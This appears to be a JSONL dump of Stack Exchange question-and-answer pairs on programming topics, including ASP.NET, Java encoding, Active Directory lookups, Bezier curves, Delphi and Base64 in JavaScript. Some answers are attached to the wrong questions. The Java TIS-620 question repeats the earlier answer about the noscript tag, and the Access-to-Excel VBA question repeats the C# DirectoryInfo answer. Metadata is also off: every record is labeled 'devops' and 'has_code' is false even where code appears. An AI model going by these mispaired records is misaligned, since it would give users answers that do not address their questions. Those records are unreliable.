{"id": "hf_ff75f0888481", "question": "<p>In the Render method of an ASP.NET web-control, I need to alter the output of the Html based on whether JavaScript is enabled or disabled on the clients browser,</p>\n\n<p>Does anyone know the right incantation to figure that out?</p>\n", "question_body": "", "answer": "The\nnoscript\ntag is used to define an alternate content (text) if a script is NOT executed.\nEDIT: Hi Kieron, take a look at this link:\nCreating a Server Control for JavaScript Testing\n, and\nDetect if JavaScript is enabled in ASPX", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.232245"}
{"id": "hf_e226ac10ab3b", "question": "<p>How do I convert TIS-620 (the extended ASCII Thai Character code page) string to UTF-8 string in Java?</p>\n", "question_body": "", "answer": "The\nnoscript\ntag is used to define an alternate content (text) if a script is NOT executed.\nEDIT: Hi Kieron, take a look at this link:\nCreating a Server Control for JavaScript Testing\n, and\nDetect if JavaScript is enabled in ASPX", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.260188"}
{"id": "hf_c82c38d8fde8", "question": "<p>OK, I am trying to generate the rDoc for paperclip, but the rake task is choking on another plugin before it gets to it, so this is out of the question:</p>\n\n<pre><code>rake doc:plugins\n</code></pre>\n\n<p>I could go and fix up the broken plugin, but I'm busy and lazy, so I just want to generate the docs for paperclip. Is there any way of doing this?</p>\n", "question_body": "", "answer": "Unbelievably, I've just figured it out!\n```\n```\nrake doc:plugins:paperclip\n```\n```\nThat was simple.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.324617"}
{"id": "hf_081fc34355da", "question": "<p>I'm writing a web application which uses windows authentication and I can happily get the user's login name using something like:</p>\n\n<pre><code> string login = User.Identity.Name.ToString();\n</code></pre>\n\n<p>But I don't need their login name I want their DisplayName. I've been banging my head for a couple hours now...</p>\n\n<p>Can I access my organisation's AD via a web application?</p>\n", "question_body": "", "answer": "See related question:\nActive Directory: Retrieve User information\nSee also:\nHowto: (Almost) Everything In Active Directory via C#\nand more specifically section \"\nEnumerate an object's properties\n\".\nIf you have a path to connect to a group in a domain, the following snippet may be helpful:\n```\n```\nGetUserProperty(\"<myaccount>\", \"DisplayName\");\n\npublic static string GetUserProperty(string accountName, string propertyName)\n{\n    DirectoryEntry entry = new DirectoryEntry();\n    // \"LDAP://CN=<group name>, CN =<Users>, DC=<domain component>, DC=<domain component>,...\"\n    entry.Path = \"LDAP://...\";\n    entry.AuthenticationType = AuthenticationTypes.Secure;\n\n    DirectorySearcher search = new DirectorySearcher(entry);\n    search.Filter = \"(SAMAccountName=\" + accountName + \")\";\n    search.PropertiesToLoad.Add(propertyName);\n\n    SearchResultCollection results = search.FindAll();\n    if (results != null && results.Count > 0)\n    {\n        return results[0].Properties[propertyName][0].ToString();\n    }\n    else\n    {\n            return \"Unknown User\";\n    }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.359780"}
{"id": "hf_31cd73c33aaf", "question": "<p>I'm using Python's Imaging Library and I would like to draw some bezier curves.\nI guess I could calculate pixel by pixel but I'm hoping there is something simpler.</p>\n", "question_body": "", "answer": "A bezier curve isn't that hard to draw yourself. Given three points\n```\nA\n```\n,\n```\nB\n```\n,\n```\nC\n```\nyou require three linear interpolations in order to draw the curve. We use the scalar\n```\nt\n```\nas the parameter for the linear interpolation:\n```\n```\nP0 = A * t + (1 - t) * B\nP1 = B * t + (1 - t) * C\n```\n```\nThis interpolates between two edges we've created, edge AB and edge BC. The only thing we now have to do to calculate the point we have to draw is interpolate between P0 and P1 using the same t like so:\n```\n```\nPfinal = P0 * t + (1 - t) * P1\n```\n```\nThere are a couple of things that need to be done before we actually draw the curve. First off we have will walk some\n```\ndt\n```\n(delta t) and we need to be aware that\n```\n0 <= t <= 1\n```\n. As you might be able to imagine, this will not give us a smooth curve, instead it yields only a discrete set of positions at which to plot. The easiest way to solve this is to simply draw a line between the current point and the previous point.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.397278"}
{"id": "hf_a008de4f59db", "question": "<p>Such as deleting the output file during run, directing two instances of the sw to the same IO etc ?</p>\n", "question_body": "", "answer": "There isn't much you can do to prevent the user from doing that, but what you can do is to apply\ndefensive programming\n.\nIn your two examples you'd have to, every time you access a resource, detect failure conditions and react appropriately either throwing exceptions and dying or continuing without access to that resource.\nNever assume a resource allocation will succeed, always check what you don't control. In short,\nassume as little as possible and verify everything\n.\n'I'm told to access this file to write to it. Is it already open? Do I have permissions? Does it have the expected format? Does the disk have enough space? etc.'\nThere is many more about this. Just Google for defensive programming and you'll get a lot to read about.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.422518"}
{"id": "hf_7bb7da6077cc", "question": "<p>I just posted the question <a href=\"https://stackoverflow.com/questions/246575/how-to-determine-why-the-browser-keeps-trying-to-load-a-page\">how-to-determine-why-the-browser-keeps-trying-to-load-a-page</a> and discovered that my problem is with Gravatar.  </p>\n\n<p>I also noticed that StackOverflow is suffering from the same outage.  </p>\n\n<p>Does anyone know of a <strong>graceful</strong> way to determine if Gravatar, or any third party website for that matter, is up or not, <strong>before</strong> trying to retrieve avatar icons from them?  </p>\n\n<p>This would eliminate the long page load and the never ending busy cursor ... I shouldn't say never ending ... it just takes <strong>a long time</strong> to go away and is very confusing to the user as they sit there and wait ... for nothing.</p>\n", "question_body": "", "answer": "You can have a different process that is periodically checking the status of the site. Set a rule about what is down for you, for instance you could say: \"ping time > 1500 ms = down\". Have this process to leave a note in a database table or config file. Then you check this value on each page rendering at almost no cost.\nDepending on how critical is this external site, you can do the check more or less often.\nThis process could be an out of the web stack program, or a page only accessible through localhost that gets executed via Scheduled Tasks or an ASP.NET facility like mentioned in the comments.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.520248"}
{"id": "hf_a5ecc53f1ce6", "question": "<p>I recently started to develop using Flex 3 and Adobe Air and I wanted to know what features you want to be in futures releases of Adobe Air ?<br />\nThe ones that I miss are:<br /></p>\n\n<ul>\n<li>Cross-systems way of launching a local file (shellExec) right from an Air application (although you can do this using workaround at least under Windows)</li>\n<li>Ability to setup dynamic paths for Embed statement (e.g. <i>Embed[(variable+\"/path/to/file\")]</i> ). I didn't find any way to do this properly.</li>\n<li>Some way of setting Flex object's positions with absolute values from CSS (that sounds more Flex related by the way)</li>\n</ul>\n\n<p>Don't hesitate to add your workarounds to theses limitations if you know somes.</p>\n", "question_body": "", "answer": "Ability to call out to native code - you currently have to ship a server written in another language and make calls to that to do anything more than Air gives you.\nModal windows. There's a hack you can do which involves setting Application.application.enabled = false, setting dialog.nativeWindow.alwaysInFront = true and then re-enabling the application when the dialog closes, but this is long-winded and doesn't disable any native menus you may have! It's crazy that something so simple is made so difficult.\nA usable way to set the application's icon. I spent 2 hours trying to do this the other day and gave up after persistent \"303\" errors that gave me no idea of what I was doing wrong. Again, really basic stuff.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.556064"}
{"id": "hf_e65d0a120a81", "question": "<p>I want do something like this:</p>\n\n<pre><code>Result = 'MyString' in [string1, string2, string3, string4];\n</code></pre>\n\n<p>This can't be used with strings and I don't want to do something like this:</p>\n\n<pre><code>Result = (('MyString' = string1) or ('MyString' = string2));\n</code></pre>\n\n<p>Also I think that creating a StringList to do just this is too complex.</p>\n\n<p>Is there some other way to achieve this?</p>\n\n<p>Thanks.</p>\n", "question_body": "", "answer": "Here is a function that does the job:\n```\n```\nfunction StringInArray(Value: string; Strings: array of string): Boolean;\nvar I: Integer;\nbegin\n  Result := False;\n  for I := Low(Strings) to High(Strings) do\n  Result := Result or (Value = Strings[I]);\nend;\n```\n```\nIn fact, you do compare MyString with each string in Strings. As soon as you find one matching you can exit the for loop.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.580493"}
{"id": "hf_d08a3c106a23", "question": "<p>I have client application that uses WCF service to insert some data to backend database. Client application is going to call service on per event basis (it can be every hour or every second).</p>\n\n<p>I'm wondering what's the best way of calling that service. </p>\n\n<p>Should I create communication channel and keep it open all the time, or should I close channel after each call and create it again?</p>\n", "question_body": "", "answer": "The first question is whether your server needs to maintain any state about the client directly (i.e. are you doing session-like transactions?)  If you are, you will need to be able to manage how the server holds the information between communications.\nMy initial feeling of your question is that if there is no need to leave a connection open, then close it each time and recreate a new connection on demand.  This will avoid issues where a connection can be placed into a faulted state between calls.  The overhead of creating and destroying connections is minimal, and it will (probably) save you a lot of time in debugging\nwhen\nsomething goes wrong.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.616363"}
{"id": "hf_3f8ad53bf02f", "question": "<p>Here is a simplified version of my database model.  I have two tables: \"Image\", and \"HostingProvider\" which look like this:</p>\n\n<p><strong>[Image]</strong></p>\n\n<ul>\n<li>id</li>\n<li>filename</li>\n<li>hostingprovider_id</li>\n</ul>\n\n<p><strong>[HostingProvider]</strong></p>\n\n<ul>\n<li>id</li>\n<li>base_url</li>\n</ul>\n\n<p>Image HostingproviderId is a many-to-one foreign key relationship to the HostingProvider table. (Each image has one hosting provider).  </p>\n\n<p>Essentially I want to be able to have my Image class look like this:</p>\n\n<p><strong>[Image]</strong></p>\n\n<ul>\n<li>Id</li>\n<li>base_url</li>\n<li>filename</li>\n</ul>\n\n<p>In NHibernate, how can I create a mapping file that will combine the base_url from the HostingProvider table, into the Image class?</p>\n", "question_body": "", "answer": "```\n```\npublic class Image {\n    public virtual HostingProvider HostingProvider { get; set; } // NHibernate takes care of this\n    public virtual string BaseUrl { get { return HostingProvider.BaseUrl; } }\n}\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.652814"}
{"id": "hf_43c684f95596", "question": "<p>Currently we have mutiple projects sharing a JIRA instances. We want to make it such that the users only view the projects that they are doing testing.</p>\n\n<p>But however we are currently groupging these users to the standard grouping jira-users.</p>\n\n<p>What is the best way to filter out JIRA project that only certain users can see and access</p>\n", "question_body": "", "answer": "You should create special Groups of users for each project you have... you can have more than one group, something like \"project1_developers\", \"project2_observers\" for better organization.\nYou alson combine these groups with the Project Roles to define into each project what kind of access each group should have.\nMake a Permission Scheme to set of permissions to one project. Something like this:\nBrowse Projects -> Group (project1_admins, project1_developers, project1_users, project1_observers)\nCreate Issues -> Group (project1_admins, project1_developers, project1_users)\nMove Issues -> Group (project1_admins)\nYou can use your Project Roles here too... but I prefer to set everything with groups.\nFinally, you can use Issue security schemes to define who can and cannot view issues. Issue security schemes implement a number of security levels which can have users/groups assigned to them.\nHope that can help.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.676935"}
{"id": "hf_2ae7825be385", "question": "<p>I am trying to match the folder name in a relative path using C#. I am using the expression: <code>\"/(.*)?/\"</code> and reversing the matching from left to right to right to left.\nWhen I pass <code>\"images/gringo/\"</code> into the regular expression, it correctly gives me <code>\"gringo\"</code> in the first group - I'm only interested in what is between the brackets.\nWhen I pass in <code>\"images/\"</code>, it fails to pick up <code>\"images\"</code>. \nI have tried using <code>[/^]</code> and <code>[/$]</code> but neither work.</p>\n\n<p>Thanks,\nDavid</p>\n", "question_body": "", "answer": "You're probably better off using the\nSystem.IO.DirectoryInfo\nclass to interpret your relative path. You can then pick off folder or file names using its members:\n```\n```\nDirectoryInfo di = new DirectoryInfo(\"images/gringo/\");\nConsole.Out.WriteLine(di.Name);\n```\n```\nThis will be much safer than any regexps you could use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.700929"}
{"id": "hf_3e3d35657a55", "question": "<p>I have a table in Access 2007 with 11,000 rows and about 20 columns. I want to create a form button that exports the table to an Excel sheet.  The code need to be VBA.</p>\n\n<p>Any Ideas?</p>\n", "question_body": "", "answer": "You're probably better off using the\nSystem.IO.DirectoryInfo\nclass to interpret your relative path. You can then pick off folder or file names using its members:\n```\n```\nDirectoryInfo di = new DirectoryInfo(\"images/gringo/\");\nConsole.Out.WriteLine(di.Name);\n```\n```\nThis will be much safer than any regexps you could use.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.726034"}
{"id": "hf_cc9e10d81e99", "question": "<p>Why do database guys go on about normalisation?  </p>\n\n<p>What is it? How does it help?  </p>\n\n<p>Does it apply to anything outside of databases?  </p>\n", "question_body": "", "answer": "Most importantly it serves to remove duplication from the database records.\nFor example if you have more than one place (tables) where the name of a person could come up you move the name to a separate table and reference it everywhere else. This way if you need to change the person name later you only have to change it in one place.\nIt is crucial for proper database design and in theory you should use it as much as possible to keep your data integrity. However when retrieving information from many tables you're losing some performance and that's why sometimes you could see denormalised database tables (also called flattened) used in performance critical applications.\nMy advise is to start with good degree of normalisation and only do de-normalisation when really needed\nP.S. also check this article:\nhttp://en.wikipedia.org/wiki/Database_normalization\nto read more on the subject and about so-called\nnormal forms", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.780930"}
{"id": "hf_1776b23dc45e", "question": "<p>Which functions are available within Delphi to play a sound-file?</p>\n", "question_body": "", "answer": "A full tutorial is available at:\nhttp://sheepdogguides.com/dt3f.htm\nIt is a bit old. But it should work.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.829210"}
{"id": "hf_72273cb9c473", "question": "<p>I'm working on a report in SSRS (SQL Server Reporting Services) right now, and I'm having a problem getting a rectanlge I draw on the page in the report designer to grow.  Basically, I've got a rectangle drawn, and then I put a text field inside of it.  The contents of this text field can be either very short or very long, so I want it to grow to accomodate its contents.</p>\n\n<p>But when I enter the long text, the textbox grows and then sticks outside of the lines of the rectangle.  From the SSRS documentation I read, it says rectangles should grow to contain the items within them, and that those items are \"peers\".</p>\n\n<p>What gives?</p>\n", "question_body": "", "answer": "The only way I can get a textbox to breach the border of a rectangle is if the textbox is not actually inside the rectangle, but instead is underneath it.\nWhen the textbox is inside the rectangle, and when the textbox property\n```\nCanGrow = TRUE\n```\nthen the textbox and its rectangle both grow vertically downward to accommodate large amounts of text.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.864045"}
{"id": "hf_961d084f3eb5", "question": "<p>Is there some library for using some sort of cursor over a file? I have to read big files, but can't afford to read them all at once into memory. I'm aware of java.nio, but I want to use a higher level API.</p>\n\n<p>A little backgrond: I have a tool written in GWT that analyzes submitted xml documents and then pretty prints the xml, among other things. Currently I'm writing the pretty printed xml to a temp file (my lib would throw me an OOMException if I use plain Strings), but the temp file's size are approaching 18 megs, I can't afford to respond a GWT RPC with 18 megs :)</p>\n\n<p>So I can have a widget to show only a portion of the xml (check this <a href=\"http://zwitserloot.com/tipit-gwtlib/example/\" rel=\"nofollow noreferrer\">example</a>), but I need to read the corresponding portion of the file.</p>\n", "question_body": "", "answer": "Maybe\njava.io.RandomAccessFile\ncan be of use to you.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.887897"}
{"id": "hf_8ede86ef2e61", "question": "<p>In an UML component diagram, how does one tag or identify a component as a database, so that it's easily recognizable? In the old days there was the cylinder symbol for showing database but that's not part of the UML. Same goes for an application server for instance, how would that be shown?</p>\n\n<p>Are stereotypes applicable here? Can the component symbol be enhanced with graphical elements?</p>\n", "question_body": "", "answer": "You tag databases\n```\n<<database>>\n```\nand servers as (it appears)\n```\n<<infrastructure>>\n```\naccording to Scott Ambler\n. I pulled this information from Figure 1, but I would recommend reading this article (and his other articles - they are good reads).\nSomething else I want to point out - UML is just one method of modeling. In formal documentation, I try to adhere to the standard. However, when planning and documenting for the team, I use whatever makes sense and is understood by the team. For you, that might mean putting a cylinder labeled \"DB\" or the name of the DB in the component box.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.911226"}
{"id": "hf_f49ad03172e3", "question": "<p>I have a PHP script that can encode a PNG image to a Base64 string.</p>\n\n<p>I'd like to do the same thing using JavaScript. I know how to open files, but I'm not sure how to do the encoding. I'm not used to working with binary data.</p>\n", "question_body": "", "answer": "From here\n:\n```\n```\n/**\n*\n*  Base64 encode / decode\n*  http://www.webtoolkit.info/\n*\n**/\nvar Base64 = {\n\n    // private property\n    _keyStr : \"ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/=\",\n\n    // public method for encoding\n    encode : function (input) {\n        var output = \"\";\n        var chr1, chr2, chr3, enc1, enc2, enc3, enc4;\n        var i = 0;\n\n        input = Base64._utf8_encode(input);\n\n        while (i < input.length) {\n\n            chr1 = input.charCodeAt(i++);\n            chr2 = input.charCodeAt(i++);\n            chr3 = input.charCodeAt(i++);\n\n            enc1 = chr1 >> 2;\n            enc2 = ((chr1 & 3) << 4) | (chr2 >> 4);\n            enc3 = ((chr2 & 15) << 2) | (chr3 >> 6);\n            enc4 = chr3 & 63;\n\n            if (isNaN(chr2)) {\n                enc3 = enc4 = 64;\n            } else if (isNaN(chr3)) {\n                enc4 = 64;\n            }\n\n            output = output +\n            this._keyStr.charAt(enc1) + this._keyStr.charAt(enc2) +\n            this._keyStr.charAt(enc3) + this._keyStr.charAt(enc4);\n        }\n        return output;\n    },\n\n    // public method for decoding\n    decode : function (input) {\n        var output = \"\";\n        var chr1, chr2, chr3;\n        var enc1, enc2, enc3, enc4;\n        var i = 0;\n\n        input = input.replace(/[^A-Za-z0-9\\+\\/\\=]/g, \"\");\n\n        while (i < input.length) {\n\n            enc1 = this._keyStr.indexOf(input.charAt(i++));\n            enc2 = this._keyStr.indexOf(input.charAt(i++));\n            enc3 = this._keyStr.indexOf(input.charAt(i++));\n            enc4 = this._keyStr.indexOf(input.charAt(i++));\n\n            chr1 = (enc1 << 2) | (enc2 >> 4);\n            chr2 = ((enc2 & 15) << 4) | (enc3 >> 2);\n            chr3 = ((enc3 & 3) << 6) | enc4;\n\n            output = output + String.fromCharCode(chr1);\n\n            if (enc3 != 64) {\n                output = output + String.fromCharCode(chr2);\n            }\n            if (enc4 != 64) {\n                output = output + String.fromCharCode(chr3);\n            }\n        }\n\n        output = Base64._utf8_decode(output);\n\n        return output;\n    },\n\n    // private method for UTF-8 encoding\n    _utf8_encode : function (string) {\n        string = string.replace(/\\r\\n/g,\"\\n\");\n        var utftext = \"\";\n\n        for (var n = 0; n < string.length; n++) {\n\n            var c = string.charCodeAt(n);\n\n            if (c < 128) {\n                utftext += String.fromCharCode(c);\n            }\n            else if((c > 127) && (c < 2048)) {\n                utftext += String.fromCharCode((c >> 6) | 192);\n                utftext += String.fromCharCode((c & 63) | 128);\n            }\n            else {\n                utftext += String.fromCharCode((c >> 12) | 224);\n                utftext += String.fromCharCode(((c >> 6) & 63) | 128);\n                utftext += String.fromCharCode((c & 63) | 128);\n            }\n        }\n        return utftext;\n    },\n\n    // private method for UTF-8 decoding\n    _utf8_decode : function (utftext) {\n        var string = \"\";\n        var i = 0;\n        var c = c1 = c2 = 0;\n\n        while ( i < utftext.length ) {\n\n            c = utftext.charCodeAt(i);\n\n            if (c < 128) {\n                string += String.fromCharCode(c);\n                i++;\n            }\n            else if((c > 191) && (c < 224)) {\n                c2 = utftext.charCodeAt(i+1);\n                string += String.fromCharCode(((c & 31) << 6) | (c2 & 63));\n                i += 2;\n            }\n            else {\n                c2 = utftext.charCodeAt(i+1);\n                c3 = utftext.charCodeAt(i+2);\n                string += String.fromCharCode(((c & 15) << 12) | ((c2 & 63) << 6) | (c3 & 63));\n                i += 3;\n            }\n        }\n        return string;\n    }\n}\n```\n```\nAlso, search for\n\"JavaScript base64 encoding\"\nturns up a lot of other options, and the above was the first one.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:33.995771"}
{"id": "hf_af61d6cc9412", "question": "<p>What's the best way to detect that Adobe Acrobat Reader is installed from a web browser?  I'm assuming it would have to be done on the client-side (I don't think Adobe adds any user-agent strings).  Preferably in JavaScript and in Internet Explorer, although it would be nice if it could also be done in FireFox, Safari, etc...</p>\n", "question_body": "", "answer": "This article\nfrom the Adobe website should get you what you need.\nEDIT\nIn testing this it isn't 100% though, as I have acrobat, but it doesn't detect it in IE 6.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.024691"}
{"id": "hf_0a0d385aa4ba", "question": "<p>Is there any method?\nMy computer is AMD64.</p>\n\n<pre><code>::std::string str;\nBOOL loadU(const wchar_t* lpszPathName, int flag = 0);\n</code></pre>\n\n<p>When I used: </p>\n\n<pre><code>loadU(&amp;str);\n</code></pre>\n\n<p>the VS2005 compiler says:</p>\n\n<pre><code>Error 7 error C2664:: cannot convert parameter 1 from 'std::string *__w64 ' to 'const wchar_t *'\n</code></pre>\n\n<p>How can I do it?</p>\n", "question_body": "", "answer": "If you have a std::wstring object, you can call\n```\nc_str()\n```\non it to get a\n```\nwchar_t*\n```\n:\n```\n```\nstd::wstring name( L\"Steve Nash\" );\nconst wchar_t* szName = name.c_str();\n```\n```\nSince you are operating on a narrow string, however, you would first need to widen it.  There are various options here; one is to use Windows' built-in\n```\nMultiByteToWideChar\n```\nroutine.  That will give you an\n```\nLPWSTR\n```\n, which is equivalent to\n```\nwchar_t*\n```\n.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.95, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.048842"}
{"id": "hf_a764e43225c4", "question": "<p>I want to automate SVN adds using NAnt. I want to add to SVN all new files in a given directory. The NAnt script will successfully execute the add command, however it displays the Tortoise SVN add dialog and this is not acceptable because it will execute on a build server running CruiseControl. The build server is running Windows Server 2003. </p>\n\n<p>Any ideas?</p>\n\n<pre><code>&lt;target name=\"addtest\"&gt;\n    &lt;exec program=\"c:\\program files\\tortoisesvn\\bin\\tortoiseproc.exe\" \n        commandline=\"/command:add * --force /path:C:\\svn\\test /notempfile /closeonend:1\"\n        basedir=\"C:\\svn\\test\"\n        failonerror=\"false\"/&gt;\n&lt;/target&gt;\n</code></pre>\n", "question_body": "", "answer": "don't use tortoise!\njust drop to command line svn.\n```\n```\nc:\\>svn add ...\n```\n```", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.75, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.100928"}
{"id": "hf_0b4d961b6a48", "question": "<p>We may tag a question with multiple tags in StackOverflow website, I'm wondering how to find out the most related questions with common tags.</p>\n\n<p>Assume we have 100 questions in a database, each question has several tags. Let's say user is browsing a specific question, and we want to make the system to display the related questions on the page. The criteria for related question is they have most common tags.</p>\n\n<p>For example:\nQuestion 1 is tagged with AAA, BBB, CCC, DDD, EEE.</p>\n\n<p>Question 2 is top 1 related because it also has all those 5 tags.\nQuestion 3 is top 2 related because it has only 4 or 3 tags that Questio1 has.\n......</p>\n\n<p>So my question is how to design the database and find out the questions that's related to Question 1 quickly. Thank you very much.</p>\n", "question_body": "", "answer": "Not entirely sure what you mean, but\nthe Tags page\nlists tags in order of popularity (as in amount tagged).\nEdit:\nis this about SO or about your own application? If it is about your own app, remove the SO tag as it's kind of misleading.\nEdit2:\nI'd say something like:\n```\n```\nSELECT * FROM `questions` WHERE `tag` LIKE '%tagname%' OR (looped for each tag) LIMIT 5,0\n```\n```\nWhere 5 is the maximum results you want to return (for at least some optimisation). Probably not the best solution, but I could see it working.\nYou might also want to try a\n```\nLIKE\n```\nmatch using the title.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.148845"}
{"id": "hf_608756196d2f", "question": "<p>Each of my clients can have many todo items and every todo item has a due date.</p>\n\n<p>What would be the query for discovering the next undone todo item by due date for each file?  In the event that a client has more than one todo, the one with the lowest id is the correct one.</p>\n\n<p>Assuming the following minimal schema:</p>\n\n<pre><code>clients (id, name)\n\ntodos (id, client_id, description, timestamp_due, timestamp_completed)\n</code></pre>\n\n<p>Thank you.</p>\n", "question_body": "", "answer": "The following should get you close, first get the min time for each client, then lookup the client/todo information\n```\n```\nSELECT\n    C.Id,\n    C.Name,\n    T.Id\n    T.Description,\n    T.timestamp_due\nFROM\n{\n    SELECT\n        client_id,\n        MIN(timestamp_due) AS \"DueDate\"\n    FROM todos\n    WHERE timestamp_completed IS NULL\n    GROUP BY ClientId\n} AS MinValues\n    INNER JOIN Clients C\n    ON (MinValues.client_id = C.Id)\n    INNER JOIN todos T\n    ON (MinValues.client_id = T.client_id\n        AND MinValues.DueDate = T.timestamp_due)\nORDER BY C.Name\n```\n```\nNOTE:\nWritten assuming SQL Server", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.197099"}
{"id": "hf_4ee825e48e02", "question": "<p>A client asked me if I knew anything about the HOME development method. I, together with wikipedia and acronymfinder, drew a complete blank.</p>\n\n<p>Has anyone here heard about a development method called HOME?</p>\n", "question_body": "", "answer": "The closest thing I found that mentioned a HOME development model was\nthis document on Google Books\n. Apparently, it stands for Holistic, Open Multimedia development Method. But without context, I can't be sure this is right. But my best guess is that if this isn't right, it's another acronym.", "tags": [], "source": "huggingface", "category": "devops", "difficulty": "intermediate", "quality_score": 0.85, "question_score": 10, "answer_score": 10, "has_code": false, "url": "https://huggingface.co/datasets/HuggingFaceH4/stack-exchange-preferences", "collected_at": "2026-01-17T15:29:34.221279"}
